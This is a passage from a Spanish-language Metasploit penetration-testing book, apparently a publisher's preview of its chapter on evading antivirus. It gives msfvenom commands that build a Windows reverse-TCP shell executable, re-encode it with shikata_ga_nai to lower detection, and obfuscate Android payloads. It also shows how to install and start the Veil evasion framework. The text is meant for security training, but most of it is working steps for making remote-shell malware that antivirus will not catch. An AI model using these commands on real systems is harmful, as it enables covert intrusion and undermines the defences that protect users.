¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
  1. Libros
  2. Metasploit
  3. Evitar los antivirus
Extrait - Metasploit Verifique la seguridad de sus infraestructuras
Extractos del libro
Metasploit Verifique la seguridad de sus infraestructuras
2 opiniones
Volver a la página de compra del libro

Evitar los antivirus

Introducción

La mejor defensa suele ser un buen ataque, motivo por el que los equipos de defensa hacen evolucionar sus técnicas teniendo en cuenta las de los atacantes.

Esta es la razón por la que las cargas payloads generadas por el Framework Metasploit son cada vez más conocidas y, por lo tanto, cada vez más detectables por los antivirus o los IDS/IPS.

Tomemos el caso de una sencilla payload generada por MSFvenom:

root@kali:/tmp# msfvenom -a x86 --platform windows -p  
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -f exe -o 
/tmp/malicious.exe   
No encoder or badchars specified, outputting raw payload   
Payload size: 341 bytes   
Final size of exe file: 73802 bytes   
Saved as: /tmp/malicious.exe 

El análisis de esta sencilla payload, que no dispone de medios de camuflaje, se puede llevar a cabo por el sitio VirusTotal (https://www.virustotal.com):

images/14EP01.png

VirusTotal es un servicio gratuito que analiza archivos y URL sospechosas y facilita la detección rápida de virus, gusanos, troyanos y todo tipo de malware.

Dentro de VirusTotal, 51 de los 71 antivirus integran esta payload en sus bases de datos antivirales, lo que consigue que fracase el intento de comprometer el objetivo. Sin embargo, MSFvenom incluye funcionalidades para tratar de frustrar las protecciones antivirales.

Metasploit

1. Encoding

Como se explicó en el capítulo Los ataques en el lado del cliente, MSFvenom es el resultado de MSFpayload y MSFencode. Los encoders permiten modificar la payload para que no sea tan sencillo que las soluciones de seguridad la identifiquen.

La lista de encoders está disponible con el comando msfvenom--list encoders:

root@kali:/tmp# msfvenom --list encoders   
  
Framework Encoders [--encoder <value>]   
======================================   
  
   Name                          Rank   
   ----                          ----   
   cmd/brace                     low   
   cmd/echo                      good   
   cmd/generic_sh                manual   
   cmd/ifs                       low   
   cmd/perl                      normal   
   cmd/powershell_base64         excellent   
   cmd/printf_php_mq             manual   
   generic/eicar                 manual   
   generic/none                  normal   
   mipsbe/byte_xori              normal   
   mipsbe/longxor                normal 

Por lo tanto, es posible codificar las payloads utilizando la opción --encoder (o -e) seguida del encoder deseado, así como la opción --iterations (-i), que permite especificar el número de codificaciones de la payload:

root@kali:/tmp# msfvenom -a x86 --platform windows -p  
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -e  
x86/shikata_ga_nai -i 5 -f exe -o /tmp/malicious2.exe   
Found 1 compatible encoders   
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai  ...

Android

Si bien se reconoce que el malware está mucho más presente en los ordenadores, esto no significa que los teléfonos inteligentes no sean atacados. Por esta razón, durante varios años, muchos fabricantes de antivirus han estado lanzando versiones para móviles.

Evidentemente, estas versiones para móviles son diferentes de las versiones de escritorio para los ordenadores. De hecho, se deben tener en cuenta una serie de limitaciones, especialmente las de la batería, ya que ningún usuario aceptaría una autonomía de una hora para disponer de una seguridad mejorada. Esta «falta» de funcionalidad por parte de los antivirus que les permite cumplir con las restricciones significa que la gran mayoría de ellos realizan solo un escaneo por firma.

Muchos estudios destacan el hecho de que existen varios métodos para reducir el número de detecciones por parte de los antivirus. Los métodos más simples de implementar incluyen ofuscación de código (cadena de caracteres, nombres de variables, nombres de paquetes, clase, método, etc.).

images/2EP13-01.png

Como parte de una carga generada a través de MSFVenom, la modificación de las cadenas de caracteres MSF, Metasploit o incluso exploit reduce drásticamente la detección de payloads por los antivirus.

El uso del comando -x en MSFVenom permite utilizar una plantilla básica para acercarse...

Veil

Aunque es posible eludir algunos antivirus gracias a las técnicas de encoding de MSFvenom, algunos de ellos son difíciles de engañar. Aquí es donde el cifrado añade nuevas oportunidades.

Sin embargo, aunque MSFvenom principalmente es una herramienta para crear cargas útiles, sus técnicas de elusión antiviral no son las más avanzadas.

El framework Veil (anteriormente Veil Evasion) es una herramienta diseñada para generar cargas útiles de Metasploit, que eviten las soluciones antivirales más comunes.

images/14EP06.png

1. Instalación de Veil

De forma predeterminada, Veil no se instala en Kali. Sin embargo, su instalación es relativamente sencilla gracias al sistema de gestión de paquetes apt:

root@kali:~# apt -y install veil   
root@kali:~# git clone https://github.com/Veil-Framework/Veil   
root@kali:~# cd Veil/  
root@kali:~/Veil# ./config/setup.sh --force --silent   
  
[*] Initializing package installation   
[*] Pulling down binary dependencies   
[*] Empty folder... git cloning   
[*] Installing Wine   
[*] Adding i386 architecture to x86_64 system for Wine   
[*] Updating APT   
[*] Installing Wine 32-bit and 64-bit binaries (via APT)   
[*] Creating new Veil Wine environment in: /var/lib/veil/wine   
[*] Initializing Veil's Wine environment...   
[*] Veil Wine environment successfully created!   
  
[I] Done! 

Una vez instalado, es posible iniciar Veil de la siguiente manera:

root@kali:~/Veil# ./Veil.py   
==================================================================  
                   Veil | [Version]: 3.1.12  
==================================================================  
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework  
==================================================================  
  Main Menu     
   2 tools loaded   
  
Available Tools:   
  
   1)    Evasion   
   2)    Ordnance   
  
Available Commands:   
  
   exit            Completely exit Veil   
 ...